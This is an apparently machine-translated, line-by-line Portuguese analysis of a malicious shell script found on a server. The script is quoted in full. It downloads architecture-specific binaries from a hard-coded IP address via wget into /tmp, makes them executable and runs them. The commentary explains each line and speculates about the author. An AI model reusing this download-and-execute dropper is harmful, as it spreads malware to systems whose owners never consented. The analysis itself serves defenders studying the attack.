Linha por linha:
#!/bin/sh
Estabelece a shcasca, o que for, como a linha shebang. sh%20/tmp/ksna solicitação substitui isso, portanto, essa linha é tratada como um comentário normal e ignorada.
u="asgknskjdgn"
Declara um nome arbitrário, presumivelmente para evitar colisões com outros nomes de arquivos. Não sei por que eles não usariam apenas mktemp, mas talvez isso não esteja disponível em todas as plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera várias arquiteturas comuns da CPU.
http_server="80.211.173.159"
http_port=80
O servidor que possui a exploração.
cd /tmp/||cd /var/
Tenta alterar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará nisso, aplicando regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos por si só.
for name in $bin_names
do
Para cada arquitetura de CPU…
rm -rf $u
Remove programas de exploração tentados anteriormente. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.
cp $SHELL $u
Copia o atual executável do shell ( /bin/sh). Pode ser ignorado por causa da linha após a próxima.
chmod 777 $u
Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o wgetcomando, que é um sinal de um novato em script de shell ou uma técnica de desvio de direção.
>$u
Esvazia o arquivo. Inútil por causa da próxima linha.
wget http://$http_server:$http_port/$name -O -> $u
Substitui o arquivo pelo script de exploração desta arquitetura. -O -> $upoderia ter sido gravado -O - > $u(o hífen indica que o download deve ser gravado na saída padrão) ao qual é equivalente -O $u.
./$u $name
Executa o script de exploração com a arquitetura como o primeiro argumento.
done
Termina o ciclo.
Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas em várias plataformas de CPU. Não sei por que ele sobrescreve $utrês vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, a versão anterior tinha as explorações codificadas em vez de atendidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz ao longo do tempo à medida que os bugs são corrigidos.